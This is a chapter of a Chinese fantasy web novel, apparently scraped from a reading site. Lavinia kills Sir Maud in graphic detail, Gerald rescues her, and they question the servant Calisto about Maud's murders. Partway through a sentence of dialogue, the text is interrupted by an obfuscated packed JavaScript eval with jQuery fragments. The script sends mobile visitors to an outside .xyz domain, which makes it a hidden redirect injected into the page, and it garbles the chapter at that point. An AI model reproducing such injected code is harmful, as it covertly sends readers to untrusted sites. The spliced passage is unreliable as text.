22. 第 22 章

作品:《欢迎来到安全屋[西幻]

    刀尖带着风声,在莫德爵士的大叫声中逼近他的脖颈。


    但这一刀没能扎下去,拉维妮娅的左手在细微地颤抖,使刀尖前进的方向出现了一丝细微的曲折。莫德爵士粗短的手挥舞着,在刀尖即将刺破他的颈部皮肤时,死死抓住了刀锋。


    在莫德爵士的手指间,雪白的刀身逐渐被暗红色覆盖,从他的指缝间涌出来,他再次发出一声嚎叫,挣扎着想要把拉维妮娅掀下去。


    拉维妮娅咬紧了后槽牙,在自己的嘴里尝到了腥甜的铁锈味。她的左手已经快要握不住刀柄,虎口的肌肉不断抽动着,小臂和关节传来肌肉即将失控的警告。她在手臂的痛楚中再次攥紧手中的刀,用尽全身的力气压上去,在左手彻底失去力量前,以一种扭曲的姿势狠狠踩在自己的左手上。


    刀刃在粘稠的液体中划过莫德爵士的手掌,贯穿了下方的皮肉。


    莫德爵士的手还捂在刀口上,但没办法再发出叫声了。他的喉咙被捅穿,嘴里“嗬嗬”地出着气。


    拉维妮娅盯着那把刀,看到红色的泡沫从刀口和莫德爵士的嘴里涌出来,想起曾经看见酒庄在丰收季榨取葡萄汁,成熟的葡萄在木桶和工人的踩踏间被碾成一堆带着泡沫和果肉的紫红色混合物。


    她在那一瞬间失去了对外界的一切感知,眼前一片灰白,耳边安静得只剩下细微的蜂鸣。


    她不知道她是否还握着那把刀,手臂还有怎样的疼痛和伤害。她保持着那个姿势有一会,感受到地板上的男人还在挣扎,迟滞地抽出刀,再次扎了下去。


    然后是再一次。


    再一次。


    再一次。


    ……


    再一次。


    她机械地重复着这个动作,直到完全失去了力气,两眼发黑地滚落到地板上。她的指尖发麻,几乎感觉不到自己在呼吸,黑暗很快吞没了她的意识,让她继续坠落到虚无的雾气中去。


    “您要快一点了,小姐,我来帮您上妆。”


    什么?


    婚礼?又一次?


    “说真的,作为一个新娘您怎么这么不积极?”


    开什么玩笑,我为什么非要做个新娘?


    “您已经二十岁了,在社交场上都要算老姑娘了,有这么一个好丈夫,您该感到高兴才是。”


    高兴?高兴什么?没有一个丈夫,难道我的人生就到此为止了吗?


    不,我绝不要这样。


    况且……


    等一等,这不对。


    我早就不在这个婚礼上了。


    又是梦。


    她看着面前的妆箧,那里放着一支打开的口红,包装精美,外壳上有黄金的装饰。女佣上前,蘸取了一些鲜红色的膏体,凑近了拉维妮娅。


    这不对。


    拉维妮娅盯着那支蘸了膏体的刷子,身体一动不动。她本该躲开的,接着“不小心”打翻那支口红,然后被强行扭送到婚礼现场。


    但现在她动弹不得,只能眼睁睁地看着刷子越来越近。


    而那支口红被人做了手脚。


    这又是怎么回事?拉维妮娅咬着牙想,我怎么还不醒?


    “拉维妮娅?”


    女佣突然停住了,散发着特殊香味的膏体停留在拉维妮娅的嘴唇前方,而女佣的嘴里突然发出了男人的声音。


    “拉维妮娅!”女佣大叫道,“拉维妮娅!醒醒!”


    这声音很熟悉。


    “拉维妮娅!”


    “拉维!”


    拉维妮娅猛地睁开眼,大口喘着气。


    在疼痛导致的剧烈心跳声中,她看见了杰拉尔德的脸。


    “搞什么?”她开口说,意识到自己的声音嘶哑得吓人,“你怎么在这里,杰里?”


    “我是不是得先问你?”看到她醒过来,杰拉尔德明显松了口气,“你是怎么搞成这样的?”


    “如你所见,莫德爵士想杀我。”拉维妮娅说,“然后我……我也不知道怎么样了。”


    杰拉尔德看了一眼倒在地上的莫德爵士,他的喉咙和胸口已经一片狼籍,鲜红色在上面晕开,像一块烂掉的蜂窝。


    他什么也没有多说,把拉维妮娅扶起来。


    这是一个不大的房间,窗子被木板钉得死死的,墙上挂着有些生锈的锯子和手斧。房间的中央有一个方形的木台,上面散乱地放着各种肢体,其中一些已经腐坏了,散发着难以言喻的恶臭。


    拉维妮娅显然也看见了,她皱着眉头,目光缓缓地移到地上的莫德爵士身上。


    杰拉尔德却突然握住了她的右手。


    “忍着点。”他说,把她的手臂猛地往上一提。


    疼痛突然袭来,拉维妮娅差点没忍住叫出声来,她咬着牙,又在嘴里尝到铁锈味。


    但这一阵疼痛过去之后,她意识到,她的右手又可以动了。


    “你的右手只是脱臼了,加上一点挫伤。”杰拉尔德说,“左手的问题要更严重一点,总之,你现在两只手最好都别乱动。”


    “……你到底是怎么到这里来的?”


    “我把货物送到的时候,这位莫德爵士亲自出现,要我到会客厅坐坐。”杰拉尔德扶着拉维妮娅往门外走,“我一开始拒绝了,但他说只有喝杯茶才能给报酬,这是他的礼貌……然后我就晕过去了,直到之前醒来,发现被锁在一个房间里。”


    “原来你也会被这种招数骗到。”拉维妮娅有气无力地说,已经没办法做出什么表情。


    “我也不是对什么都有经验的。”杰拉尔德几乎是托着她的腋下在走,“总之,我想办法把门撬开了,接着就碰上了这里的佣人,花了好大功夫才把他搞定……”


    他们走出房间,在离门边不远的地方,一个高大的年轻人被绑着手脚倒在地上,那颗金红色的脑袋正极力地抬起来,沉默地盯着他们。


    “接着我就听见了那位莫德爵士在惨叫,找到了这里。说实话,要不是因为听到了叫声,这小子分心了,我还真没什么把握打倒他——他的力气大得简直吓人,我怀疑他能徒手和野牛搏斗。”


    “卡里斯托,对吧?”杰拉尔德转头看着他,“你的莫德老爷现在死了,你要怎么办?”


    卡里斯托的紫眼睛惊讶地瞪大了,他的嘴唇抖动着,最终像泄了气一般,把头撞在地板上。


    “我其实并不知道他在做什么。”他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879069|159714||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说,“你们要做什么我也不关心。我只求你们一点……别伤害勒托。”


    “你是不是搞错了什么?”拉维妮娅说,“我们是因为你的莫德老爷莫名其妙把我们迷晕才在这里的,你也没资格要求我们承诺你什么。”


    卡里斯托重新看向他们,反剪在背后的双手死死地握着拳头。


    “但我答应你。”拉维妮娅低头看着他,双眼像两块冰冷的琥珀,“我们不会对那个女孩做什么,只要你回答如实我的问题。”


    “……我知道了。”


    “拉斐尔和艾希莉在哪里?他们怎么样了?”


    “和你一起来的那两位?”卡里斯托说,“他们在楼上的房间,那位先生在离楼梯最近的房间里,金色头发的小姑娘在放着蔷薇花对面的房间,和勒托在一起。”


    “我知道了,我不会伤害她的。”拉维妮娅说,“还有一个问题……迄今为止,莫德爵士究竟杀了多少人?”


    “……我不清楚。”卡里斯托说,“但很多,大概从一年前开始,越来越多了。”


    “那些人都是镇子外来的?”杰拉尔德问,“还是也有镇子里的人?镇子里的人从来都没发现不对劲吗?”


    “以前也有镇子里的人,不过很少。”卡里斯托说,“教堂的神父宣称这些女孩是死于可怕的不幸——很少有人对此质疑。”


    “很少,也就是不是没有。”拉维妮娅说,“那些质疑的人怎么样了?”


    “因为很少,所以不会怎么样。”卡里斯托的眼里闪过冷冷的笑意,“你们以为这里是什么地方?想要在镇上过得下去,就必须同意大多数人的看法。”


    “是吗。”杰拉尔德冷笑了一声,“哪都是一样。”


    “我先带你回旅馆。”他对拉维妮娅说,“之后再回来把那两位少爷小姐弄出来。”


    “这样变数太大了。”拉维妮娅不赞同地说,“谁知道这段时间会发生什么?”


    “但是再不处理一下你的手就要废了,下垂眼小姐。”杰拉尔德皱起眉头看着她,“你必须现在就回去,我保证我会把你们都救出来的,怎么样?”


    “……你是有什么英雄主义情结吗?”


    身后的门传来一阵响动,他们同时转过去,看见宅子的后门进来一个瘦高的身影。


    “怎么回事,卡尔?”人影把陶罐放在一边,摘下头上的帽子,“我们在前面敲了半天也没人开门,还好我记得你没有白天锁后门的习惯……”


    “……这是怎么回事?”


    旅馆的老板萨拉女士脸色苍白地站在后门的门口,手里还抓着她的帽子。


    在站着的地方角度很碰巧,刚好能望进那个打开门的小房间,看见莫德爵士大张的眼睛和灰白的脸。


    拉维妮娅不动声色地挪向墙边,把自己靠在墙上。


    “杰里。”她小声说,“动手。”


    杰拉尔德在下一秒冲出去,抓住萨拉细瘦的胳膊,把她摁在墙上。


    “您最好什么也没看到,小姐。”


    “等等!”萨拉说,她的声音在发抖,却不是见到尸体的崩溃,“我能帮你们,这位小姐的伤势需要处理,对吧?”